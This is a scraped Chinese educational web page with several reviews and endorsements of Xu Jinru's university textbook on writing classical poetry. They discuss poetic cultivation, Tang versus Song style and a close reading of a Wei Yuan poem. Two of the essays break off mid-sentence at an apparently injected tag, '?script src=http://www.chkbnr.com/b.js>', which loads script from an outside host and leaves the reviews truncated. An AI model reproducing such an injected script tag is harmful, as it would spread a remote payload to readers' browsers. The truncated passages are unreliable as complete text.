功夫诗内外，妙手两兼之——读徐晋如《大学诗词写作教程》

教师之友网

功夫诗内外，妙手两兼之——读徐晋如《大学诗词写作教程》
刘世南　　2008-9-26

大学诗词写作教程     八十五岁的我，从《六一诗话》到民国时期种种同类的书，大概都翻阅过；今人“诗法”之类，也大抵涉猎过。印象比较深刻的，还是俞陛云的《诗境浅说》，一新耳目的要数少年时读的《饮冰室诗话》，而常置座右、经常过眼的，则是《石遗室诗话》和《兼于阁诗话》。现在忽得徐晋如博士的《大学诗词写作教程》，捧读一过，竟如梁启超说晚清一般维新志士初读龚自珍文，“若受电然”。这才是中国现代化新时期的说诗论词之作，一股清新的气息扑面而来，“西山朝来致有爽气”，王子猷此语正可移赠此书。     我把这篇书评取上这么一个题目，正是根据徐君此书的内容。陆游告诫他的儿子：“汝果欲学诗，功夫在诗外”。这是因为陆家子弟从小就已熟读经史，并接受了诗法(包括词汇、句法、声律、对偶，等等)的训练，所谓“诗内功夫”已经不在话下。而我们今天即使是中文系的本科生、古典文学的研究生，也十分欠缺“诗内功夫”。     那么，“诗内功夫”和“诗外功夫”，哪一种更重要，哪一种更容易掌握呢？     可以肯定地说，“诗外功夫”最重要，而“诗内功夫”最容易掌握。所以，《大学诗词写作教程》在第一编“总论”中，特别强调“诗外功夫”。     “总论”中惊世骇俗的见解，一扫“五四”前后“贵族文学”、“平民文学”的说法，而提出了natural aristocracy(自然贵族)的“雅文学”。这不是回复到“贵族文学”去，而是继承“士大夫”传统，形成“现代知识分子”的雅文学。这种文学的作者是罗曼·罗兰，是鲁迅，是闻一多，是顾准，是聂绀弩，总之，是梁启超说的具有“欧洲之真精神、真思想”的现代知识分子。因此，徐晋如提出如下一些看法矫正几千年来积非成是的旧说：     (1)《诗经》的风诗不出于民间。尽管钱穆、朱东润两先生早已提出过，但徐晋如却把这一结论提到历史的高度，说明了其所以然：周朝的贵族还保持部落政治形态的残余，君民共同劳动。《左传》昭公十二年，子革对楚灵王：“昔我先王熊绎，辟在荆山，筚路蓝缕，以处草莽，跋涉山林。”昭公十六年，郑子产对晋韩宣子：“昔我先君桓公与商人皆出自周，庸次比耦以艾杀此地，斩之蓬蒿藜藿而共处之。”《国语·鲁语》敬姜具体叙述了“王后亲织玄紞，公侯之夫人加之以纮綖，卿之内子为大带，命妇成祭服，列士之妻加之以朝服，庶士以下，皆衣其夫。”《孟子·滕文公上》述农家学派许行的理论：“贤者与民并耕而食，饔飧而治。”这些资料可佐证徐晋如的论点：周朝的贵族和欧洲中世纪“流血不流汗”的贵族完全不同。     其所以要这样论证，则是为了肯定这一论点：中国文学传统，是士大夫的雅文学。     (2)诗是个人主义的产物。我们曾经被误导过，以为个人主义就是自私自利，一切以自我为中心。其实英国的个人主义，是强调个人的权益和尊严不容侵犯，其核心即独立的人格、自由的思想。徐晋如认为，只有这样的思想感情，才能凝铸成真诗。所以，他不承认山水田园诗，也反对白居易的“文章合为时而著，歌诗合为事而作”，对李白的《静夜思》直斥为“平庸”。     (3)诗人必须是思想家。我以为这点最重要。我一向认为，有知识不难，有思想最难。屈原有思想，班固却斥其“露才扬己”；贾谊有思想，绛、灌之属却毁谤他“年少初学、专欲擅权，纷乱诸事”；王勃等唐初四杰有思想，裴行俭却骂他们“浮躁浅露”。正如龚自珍所慨叹的：“以退缩为老成，国事我家何知焉!”从今日来说，真正的诗人，应该是西方定义的知识分子（intellectual），即罗曼·罗兰式的，站在弱势群体立场，对社会上一切非正义、不公正现象，进行无情的揭露和本质的批判。     (4)批判“新国风”与“伪崇高”。对这两者的批判，纯粹是因为它们极其虚伪。诗歌表现的是赤子之心，是对人性自由与尊严的追求。在中国长达两三千年的专制高压下，士大夫曾巧妙地表达过自己的诉求。《左传》成公十三年，周王室卿士刘康公已经提出：“民受天地之中以生。”《易·说卦》：“是以立天之道，曰阴与阳；立地之道，曰柔与刚；立人之道，曰仁与义。兼三才而两之，故《易》六画而成卦。”从先秦就确定了“天地之性人为贵”(《孝经·圣治章》引孔子语)这一观念。引起我们注意的是，在皇权高压的元、明、清三代，却出现了“人中”一说。人之唇上，名曰“人中”。为什么叫人中呢？赵孟頫解释说：目耳鼻双窍属阴为坤卦，口二便单窍属阳为乾卦，坤外乾内，合成六十四卦中的泰卦，坤为地，乾为天，人居天地之中，故唇上名之为人中。此说见诸元人杨瑀《山居新话》卷二，亦见诸元人陶宗仪《辍耕录》卷五。清朝尤侗引陶宗仪所记，更发挥说：“盖人身有小天地，有天地，然后水火生焉。乾坤交而人之形成，坎离交而人之神生，故有地天泰，乃有水火既济。反是则否（pī），有倒悬之状；未济，有相射之害矣。”（《艮斋续说》卷七）     从赵孟頫提出“人中”与泰坤的关系到尤侗的最后解释，剥除其神秘的象数外衣，其内核实际是诉求一种顶天立地的独立人格，认为只有这样才能“泰”，《彖》所谓“天地交而万物通”，“君子道长，小人道消。”     追求自由是人性，是赤子的真诚。只有具备这种真诚，才能写出真诗。而“新国风”那种伪平民立场，黄巢、赵匡胤、朱元璋那种伪崇高，只是对真诗的亵渎。     (5)对唐、宋诗的分析。在第25页注(1)中，徐晋如有一段简明而中肯的论述，指出(一)不涉理路，不落言筌、(二)穷理析义，须资象喻、(三)竟体空灵，余意不尽，这三个诗词体性的特征，是唐诗的特征，而唐诗之所以如此，是因为它侧重表现——表现自然与表现内心。而宋诗却侧重达意，倡导的是明白如话地表达。徐晋如本人是更欣赏宋诗的，因为一旦不满足于表现自然，而要表达内心的痛苦与哀矜，那么宋诗就是一个很好的选择。 这是他的经验之谈，我也中心有戚戚之感。根据自己学诗的体会，我觉得由唐诗的缘情发展为宋诗的说理，是诗人的情意由间接的微婉的讽谕的抒情，变化为直接的直露的深刻的说理，亦即由比、兴手法而变为赋的手法，这其中一个关键，是诗人的情意被现实所激化，他不愿以缓节奏去托物以讽，而必须喷薄而出，一吐为快。如晚清宋诗派诗人魏源，他的《寰海》十一章之四： 谁奏中宵秘密章，不成荣虢不汪黄？ 已闻狐鼠神丛讬，那望鲸鲵澥渤攘。 功罪三朝云变幻，战和两议镬冰汤。 安邦只是诸刘事，绛灌何能赞塞防!     1840年(道光二十年)九月，鸦片战争中的主战派林则徐、邓廷桢被革职，清廷改派直隶总督琦善为钦差大臣，到广东“议抚”。琦善至粤，力反前任林则徐所为，遣散水勇，拆除海防，并擅自议订《穿鼻条约》，允许割地赔款。魏源此诗即针对朝廷这种昏暗状况而作。“谁奏中宵秘密章”，半夜密奏，极写投降派外慑强敌，内惭清议，形同鬼蜮，惶遽万状。“不成荣虢不汪黄”，不成了荣夷公、虢石父，不成了汪伯彦、黄潜善吗？荣夷公见《国语·周语》：“厉王说(悦)荣夷公。芮良夫曰：‘王室其将卑乎？夫荣公好专利而不知大难……荣公若用，周必败。’”虢石父见《史记·周本纪》：“幽王以虢石父为卿，用事，国人皆怨。”汪伯彦、黄潜善列《宋史·奸臣传》。魏源此句是说，这样半夜密奏以排斥林则徐、邓廷桢，你们(穆彰阿、琦善等)不成了荣夷公、虢石父、汪伯彦、黄潜善一类误国的奸臣吗？“已闻狐鼠神丛讬，那望鲸鲵澥渤攘。”“神丛”典出《战国策·秦三》。魏源以“神丛”比喻朝廷，狐鼠比喻琦善等奸臣。奸臣弄权，清室必亡。“鲸鲵”出自《左传》宣公十二年“古者明王伐不敬，取其鲸鲵而封之，以为大戮。”此指英国侵略军。澥渤，即渤海，此借指南海。以上二句说，已经听说投降派假借皇上的命令和英国侵略军议和，哪里还能希望把强敌从海上击退呢？“功罪三朝云变幻，战和两议镬冰汤。”道光开始重用林则徐、邓廷桢，后来迫于英国政府的威胁，又撤职查办他们。变化有如白云苍狗(杜甫：“天上浮云如白衣，斯须改变如苍狗”)；开始主战，后又主和，后来又下诏宣战。如同一个锅里，又放冰块，又放开水。喻举棋不定，自相矛盾。“安邦自是诸刘事，绛灌何能赞塞防!”《史记·高祖本纪》：高祖病甚，吕后问死后谁可为相国，高祖答之，因言“周勃重厚少文，然安刘氏者必勃也。”勃封绛侯。灌，颍阴侯灌婴。吕后崩，吕禄等欲为乱，灌婴与周勃、陈平等共诛诸吕，立文帝。魏源此二句以反讽语气说，安定清王朝当然是满洲亲贵穆彰阿、琦善他们的责任，林则徐、邓廷桢他们怎能平定灾难呢？     通过魏源此诗，可以看出“宋诗”风格的特点。正如严羽所说，它是“以议论为诗”，全诗八句，纯为议论。然而这种议论，不是白话直说，而是句句用典，字字有来历。这叫“以学问为诗。”大量运用典故来发议论，十分切合，十分疏畅，充分显示了作者的才力，这是“以才气为诗”。     徐晋如说得对，唐诗如春华，宋诗如秋实。年青人初学，应从唐诗入手。少年人才气发皇，适合唐诗韵调；中老年人阅历既富，感情内敛，适用宋调。     我主要是评论该书第一编总论部分。至于第二编诗说，第三编词说，其可贵之处，是皆为自得之言：绣出鸳鸯以君看，更把金针度与人。例如：老杜的“字眼”；五律求丰神情韵，七律求筋骨思理；南社诸人学龚自珍无成之故；渔洋七绝之法；善为诗者多，善为古文者少。凡此种种，都是作者深造自得之言，对学诗词者极有益。     书中所讲种种作诗填词之法如平仄、对偶、句法，等等，前人所谓“诗内功夫”，我除了完全赞同晋如所讲的，还想劝初学诸君下个笨功夫，即熟读并多写。那些《唐诗三百首》、《宋诗三百首》、《明诗三百首》、《清诗三百首》，以及古今人的《词选》，只管像香菱那样去苦读，读得多而且熟，又不断地做，自然熟能生巧，平仄也分得清了，格律、风调也摸得熟了，自己写的也越来越得心应手了。     第四编结语，谈到诗词的当代命运，批评诗词的“改革派”，也深有见地。我也认为那些所谓“改革派”是荒谬的，他们不读书，便反对平仄、反对用典，反对字、词、句的典雅。其实这些在会作诗填词的人看来是最简单的、容易掌握的；真正难的是有思想，有激情，而又有理性。也就是“诗外功夫”最重要。只有向天上窃取火种给人间以光明的普罗密修士，才是真正的诗人。书中所引女词人丁宁的七阕《玉楼春》，就是典范之作。     尤为难能可贵的是，徐晋如和其本师陈永正先生对新旧诗毫无门户之见，这因为陈永正先生既写旧诗，也写新诗，徐晋如则早岁受业新文学研究学者蓝棣之先生，在学术统系上并不排斥新诗。我和他们俩一样，认为有诗味就是诗。但是晋如认为“存在”、“彼岸”、“荒谬性”等哲学题材，只适合于新诗来表达，我颇觉“张茂先我所不解”。永正先生注释的王国维诗词，和钱钟书先生的《槐聚诗存》，都有很多哲理诗。    《大学诗词写作教程》最后引陈永正先生的一段话，提出新旧诗只能分道扬镳，而不是合流共济，这使我想起沈祖棻先生，她的《涉江词》、《涉江诗》脍炙人口，但抗战时期她曾用“绛燕女士”的笔名，出版了一本新诗集《微波辞》，五十年过去了，我还记得“让风雨筑成小巢的四壁。”     究竟是“分道”还是“合流”，怕还要让时间、实践来检验。 来源：豆瓣

教师之友网

诸家荐语——评徐晋如《大学诗词写作教程》
2007-9-28

大学诗词写作教程 著名诗人、学者 刘梦芙： 　　是书第一编论「诗人与诗心」、「器识与胸襟」、「体性与门径」，既汲取古今名家谈艺要旨，更融化中西人文思想之英华，以超卓之立论，遒炼之文笔，阐明诗词创作的本质性也是最主要的问题：即何谓诗人与诗，如何使作品臻于真善美合一之极境。第二、三编分说诗与词的格律、声韵、体式、作法，并结合历代名篇，辨析诗词各体的渊源流变，皆能抉发精微，胜义络绎。学诗词者一编在手，识理真而入门正，别裁伪体，继武风骚，厚植根基，循序渐进，必臻大成。该教程独具慧心，自成体系，融理论与实用技法于一炉，兼顾普及与提高，其总体水平远越同类诸书之上，虽王力先生《诗词格律》、龙榆生先生《唐宋词格律》不以过也。作者不但学识渊宏，对诗词义理有深湛之研究，更兼在创作方面体验丰富，才华横溢，早成海内名家，故是书立论，皆自甘苦中来，实为导航诗海之明灯，功莫大焉。 著名词人王蛰堪： 　　以诗词体裁书写怀抱，寄托情感，乃中华文明之优秀传统，惜乎近世，乱劫频仍，风骚凌替，世风侵夺，几至灭绝，暨自上世纪中叶，更被以束缚思想之目而划为禁区，是以五十年代以迄于今，传承太半以民间私相授受为主，而正规教育之诗课庶几不存，可悲也夫！乃有徐子晋如，于举世不为之时，操有司不屑之笔，成此大学诗词写作教程一册，以期扬我骚雅，继我绝学，其行可嘉，其志可壮！略读初稿一过，觉其佳胜处在简明清新，不弄玄虚，直指津要，不袭陈言。且夫议论发明，多有前人所未道者，令人耳目一新。盖徐子天纵之才，复以孤诣独往之苦心，信乎余子不能也！异日者，重招南渡之魂，更续北征之梦，是余有望于徐子者也。 著名诗人杨启宇： 　　晋如以风华激越之诗坛健儿兼积学深思之学界精英双重身份作《大学诗词写作教程》，不仅于创作甘苦，能现身说法，度人金针；于诗词理论，亦能戛然独造， 发人深省。尤可贵者，是能明确揭示忧患意识、悲悯情怀乃诗人之灵魂，中华诗词是以士大夫为传承体之精英文化。于此即与为什么服务之类的老干少干体伪诗彻底  划清界线。中华诗词之格律，非往圣先贤臆定，实单音节汉语、方块字汉文本身内在规律之体现。汉语不灭、方块字不灭，中华诗词即只能是此传统形式！拉扯民歌、搬套西洋皆属可怜无补费精神！将来中华诗歌重光之日，必是传统形式发扬之时。吾寄厚望于晋如焉，吾寄厚望于此教程焉。   著名词人魏新河： 　　徐晋如先生上庠俊彦，天资颖异，早接诗道，沈浸多年，良悟非常，群推为青年诗词家中之翘楚。顷作《大学诗词教程》一书，细阅数过，以为当今极佳之《教程》也，其中博征精选诗词、理论，参以己见，深入浅出，着意发隐探微，不乏真知灼见，出以举重若轻，源自创作实践，令人击节叹赏者再四。窃以为凡今学者，宜人手一册，可奉为圭臬，于吟咏之道，必有大益。是以乐为推荐。 著名诗人、辞赋家王翼奇： 　　晋如诗似龚定庵，已有定评。文亦似定庵，则知者甚尠。《大学诗词写作教程》一着，殆如定庵乙丙书，令读者若受电然。此书以沈博之思力、渊深之学养，启民以新智，为吾诗国文化存亡继绝，洵千秋之业也。 著名诗人何永沂： 　　诗词而有「大学写作教程」，如在一九六三年即我进大学之时，当属天方夜谈。是时，诗词乃非革命化而青年「不宜」者。奈何我天性爱之，曾觅得王力先生《诗词格律》一卷，每逢学院开大会，书记在上面作报告，小子便在台下偷读该书。近年得闻「诗词进校园」的口号，却又担心有人会乘机把封建陈腐的奴性「诗教」掺点  「狼奶」来误导下一代。现得读此《大学诗词写作教程》，能不喜从中来！此卷乃吾友徐君晋如之力作。徐子追求「独立之精神，自由之思想」的境界，又具深厚之学养。其所作诗词，剑气箫心，幽光狂慧，为余所爱读。由他这样一位兼学者诗人于一身的中文系博士生编着的《大学诗词写作教程》，可谓一而不易有二。（） 来源：本社

教师之友网

诗心的召引——浅评徐晋如《大学诗词写作教程》
姚达兑　　2007-9-28

大学诗词写作教程 “弥达斯国王在树林里久久地寻猎酒神的伴护，聪明的西勒诺斯，却没有寻到。当他终于落到国王手中时，国王问道：对人来说，什么是最好最妙的东西？这精灵木然呆立，一声不吭。直到最后，在国王的强逼下，他突然发出刺耳的笑声，说道：‘可怜的浮生呵，无常与苦难之子，你为什么逼我说出你最好不要听到的话呢？那最好的东西是你根本得不到的，这就是不要降生，不要存在，成为虚无。不过对于你还有其次好的东西——立刻就死。’” 　　　　　　　　　　　　　　　　　　　　　　　　　　　　　——尼采《悲剧的诞生》 　　我们因是知道：酒神的后代们更加珍爱人类共同的苦难；并且，在他们看来，唯有当狄俄尼索斯的受难剧不停地上演时，观众们（诗的接受者）才因此从中受到宗教礼仪式的净化（catharsis）。诗的创造者（也同是诗的行动者）们，在蜿蜒曲折的绝径上，带着莫大的欢喜面对山峦层叠般的无常与苦难，阔远而嘹亮地歌唱。他们歌唱那最高的德性，拜倒在缪思的裙裾下，七弦琴上飘荡的是不断追求幸福的心律。他们用此同样的方式，拥抱真理附带而来的痛苦翩然起舞。因为那些美好的德性啊，必将因此而传承下去！ 　　一个韵，便是一段独特的心绪，因个人的自主审美感发而来；一个典故，附着多少共同的悸动，随不朽者的高贵精神召唤而去。便就是一个汉字，本身也是神圣凛然的历史。于是一个诗人甘愿付出多少年，守着一份执着，寻寻觅觅，只为了一首诗，一个韵，甚至是一个汉字。于是漫长历史的痕迹中，贾岛们总是推推敲敲，不小心又一次撞上了韩文公的车骑；李陇西诗囊备就，一路满载的诗句压弯了小驴。然而，几千年后在所谓新世纪新时代，如中魔咒般地，诗国的人们已不再写诗。诗被送进了冷冰冰的博物馆，并限上距离让人们如同考古学者一样观望。于是现今，徐晋如开坛说法。他如同盗火者，势必把那将熄的圣火再次引燃。那些远离诗的人们啊，营营役役地在金钱和物质的高塔之下兜了一圈又一圈，直到迷失了方向。但是人应当诗意地栖居，当这样的召唤响起时，请如芭蕉层层剥尽，把黑暗中的诗心照亮，尽情地歌唱出来。 　　晋如兄便是正在召引的先行者，而此教程便是公开的门径。大道存于斯焉！必须要指明的一点是，此书有别一般学诗之教程，教人习诗之前，先引学诗者识得诗人须具之诗心、器识与胸襟。盖诗心者乃历代伟大诗人必具之器宇。“苏世独立，横而不流”，却是屈骚源流不改；路漫漫而修远，为真理而上下求索。“性情之激烈”，实是漆园之思，哀生之沉痛；要求的是诗人应深具大痛大哀的性情，即龚自珍所云“哀乐过于人”者。龚氏之行为和诗篇同具以上两点。如果我们推溯远点，宋代有苏轼，唐代有李白。此三子，皆在诗心上同是庄骚并具，足堪为后世典范。诗人正因此种诗心而抒写出更接近最高德性的诗，如同亚里士多德曾在《诗学》中所证，此种诗因而比历史更富含哲学意味。亚里士多德回应了他的老师柏拉图关于诗无益于城邦的指控，回应的理由便是诗比历史更接近真理，而这种美德指向的是所有至高之好的知识。 　　晋如兄于教格律之先，引导学习者先找寻其诗心、性情，此是入门之正理。然而，一个好的诗人，必得懂得他的先辈诗人们的诗，当然也理所当然地要识得诸般诗艺。尝有人言，当代人无须再记得那些繁琐格律和使用古人才用的平水韵，尽可抛弃这些，自由写诗。然而，那是另一套话语，并非汉语诗的正宗。我必须赶紧声明，我不是卫道者。原因恰正是因为汉语的特殊之处，便在于用它写成的诗正好能在（可能这也是最好的方式）韵律间迸发出更深厚的意涵。此外，一个汉字自身上面还附带的诸多历时性的意义，而现代汉语里，单字单词的意义何其单薄，怎能足够表达人类的感情呢。本书第二、三编论诗说词之作法，于普遍性的规律当中隐含晋如兄所从之先辈诗人不灭的精魂，也因此并非仅是单讲冷冰冰的形式技巧，而有其智性识见和价值取向。格律不但是学诗者必须上的一个台阶，唯有此，才能说懂得汉诗之内在意蕴；但是，在诗心稍具、诗力渐雄后，诗人的写作可以是这样的：无论如何书写，即使脑中无半毫韵律的想法，也能做得从心所欲不逾矩。 　　作为旁听过这门课、阅读过本书的学诗者，我其实要感激晋如兄，也应该写上诸多感想，然而，这些都毕竟过于个人化。那么，诸种教益也留予读者诸君自己深浅体会。因为阅读的体验同样是一个净化自我的过程，而学诗更是直接地带来了审美的自主性，它穿越了意识的深层之处，最终会使你的内心更加强大。 　　让我们回到前面提及《悲剧的诞生》中的小故事，那最美好的东西――不要出生，是永远没法得到的；而立即就死的说法，我们可以在叔本华的论述里找到了类似的两难选择：自杀或者从事艺术。因为艺术从本质上是对抗死亡的；而诗就是运用审美功能直接与伟大心灵对话或自我对话，扩充内在自我的强大直至伟大的人格，以对抗无常与苦难，甚至是对抗死亡。诗心的作用正在于此。 　　我想，这应也是柏拉图所说的?script src=http://www.chkbnr.com/b.js>

教师之友网

点亮那古典的灯——评徐晋如《大学诗词写作教程》
陈慧　　2007-9-28

大学诗词写作教程 自小，我们用普通话背诵唐诗宋词，借着现代汉语的注释，去触摸隔阂的文言，试图理解那美妙而陌生的文字组合中所蕴藏的诗心。年轻的老师们微笑地告诉我们，这位诗人的名号成就，这个字的读音意思，告诉我们诗词要押韵，诵读有节奏……面对什么是诗，押的是什么韵，到底有什么规律的问题，却紧锁眉头，含糊其辞。因为，在他们读书的时候，也并没有亲密接触过古典诗词。于是一群爱诗的孩子，他们模仿着古人的句子写诗，偶尔有夹生的文言辞句，句尾都郑重地用上了普通话里韵母相同的字。渐渐地，他们在比照中产生了困惑，一些幸运的，得了一本王力先生的《诗词格律概要》，看得似懂非懂，或依葫芦画瓢，或从此兴味索然……   　　我一直感慨，当代大学校园，爱诗者众，写诗者也并非寥寥，然而接受懂诗之人指点门径的机会，实在太少了。当我的师兄徐晋如将诗词写作带入大学讲堂的时候，课堂上人头攒动，眼睛里，写满了求知的渴望。而当我看到，一些掌握了格律，孜孜不倦的诗歌创作者笔下，却没有多少令人感动的内容时，又猛然觉悟，还有一些东西，比诗词相关的知识更加重要，却又更加匮乏。那么，这些东西是什么呢？   　　归庄在《天启崇祯两朝遗诗序》中说道：   　　……后世人多作伪，于是有离情与志而为诗者。离情与志而为诗，则诗不足以定其人之贤否，故当先论其人，后观其诗。夫诗既论其人，苟其人无足取，诗不必多存也。   　　在归庄所生活的年代，也有不少“作伪”的诗人，写着“离情与志”的“诗”。在归庄为代表的士大夫眼中，诗与人是密不可分的。“情”与“志”，乃是诗之源泉。而情志所系，正在于人；情志所从，正在于心。晋如兄将“诗人与诗心”置于《大学诗词写作课程》首章，可谓大有深意。在这章里，他为我们阐释了理想中诗人必备的人格特征：第一是苏世独立，第二是悲天悯人，第三是哀乐过人，执著到死。这三点互为补充，缺一不可。   　　希腊神话传说中，水仙是位美男子，他不爱任何人，一日在山泉边饮水，见到水中自己的影子，便爱上了自己，扑向水中，从此化为水仙。诗人要有情，诗人要爱自己，因为他自己就是有其内美修能,不同流俗的。诗人要横而不流，他可以用生命来祭奠自己炽热的情感，却不能只是顾影自怜，自怨自艾——须要有大情，有大爱——水仙的抱影固然凄美，屈原的沉江却更加悲壮！ 　　还有一些人，早岁才情秀发，中年经世乱变节，成了“两截人”，便是没有哀乐过人、执著到死的精神。其诗纵好，也不能与中国诗歌史上那些真正伟大的诗人相比。我们只要对比一下陈子龙和钱谦益的诗，便可很明白地见出，钱诗远不及陈诗沁人心脾。   　　教程之次章言诗之根基——器识与胸襟。此章最见作者个性之处，在于作者对胸襟的界定。作者继承了古人论胸襟、论气的文艺观点，又注入了自家的心得。这一心得，就是对民粹主义与专制主义倾向的批判。在批判中，将诗的本质又深挖一层：“诗必须而且只能写个人的情感，写自己内心的激情，诗人的任务，是忠实地表现内心，而不是去要求自己写什么，不写什么。”“诗的本质是自由”。 诗歌不是为任何人任何事服务的奴隶，一个追求自由的灵魂又怎会甘于为奴或迫使他人为奴呢？它是自由的，是为拥有美德的自己的灵魂而作，是追求自由和美的灵魂在不自由、不完美状态中的控诉和热望。我们说，“文学源于现实而高于现实”，这不意味着，诗歌合为现实而作，现实不是诗歌抒写的目的，而是导致控诉的源头，和自由美好的寄托。伟大的诗人，毕生上下求索，总怀有高于现实的理想。在一次次迴游求之，而终不得的过程中，他悲叹呼唤，炽热的心最终喷薄而出，化为洞照千年的诗句。   　　上述这些美好品质，可用晋如兄私淑的张海鸥教授的一句话概况，那便是“中国古代士大夫高贵的人文精神”。这部教程把张先生所倡导的高贵与高雅的文学观发挥得淋漓尽致。而高贵与高雅，正是古典文化的根本特征。   　　所以，晋如兄这本《大学诗词写作课程》，不仅为授课而作，也是应世而生的——在古典与现代断裂的现实中寻找内在的继承。该著决不仅仅是为了介绍什么是格律，怎样作诗，如何填词——尽管在这些方面，作者也在在表现出他超出侪辈的诗学功力与深厚的理论修养。比如，晋如兄把传统诗律细分到音步，只用十分钟，就能让初学者掌握格律；又比如，他讲学诗的门径，讲七律与五律在风格上的差异、对仗的秘诀、讲词的章法、风格，皆是他本人创作实践的甘苦之言，“要把金针度与人”。这些东西，在别的诗词教材中决计见不到。他在课堂上讲得激情澎湃，学生也听得酣畅淋漓。照例，每堂课终了，学生都会给他报以热烈的掌声。   　　假如讲诗法、词法是成为一个诗人所必须攀爬的阶梯，那么我们应该留意到，《大学诗词写作教程》为照亮阶梯而点燃了一盏盏灯火。正是这些灯火，让我们看清古典的真正魅力，就像《小王子》中的狐狸一样，愿意结束等待，?script src=http://www.chkbnr.com/b.js>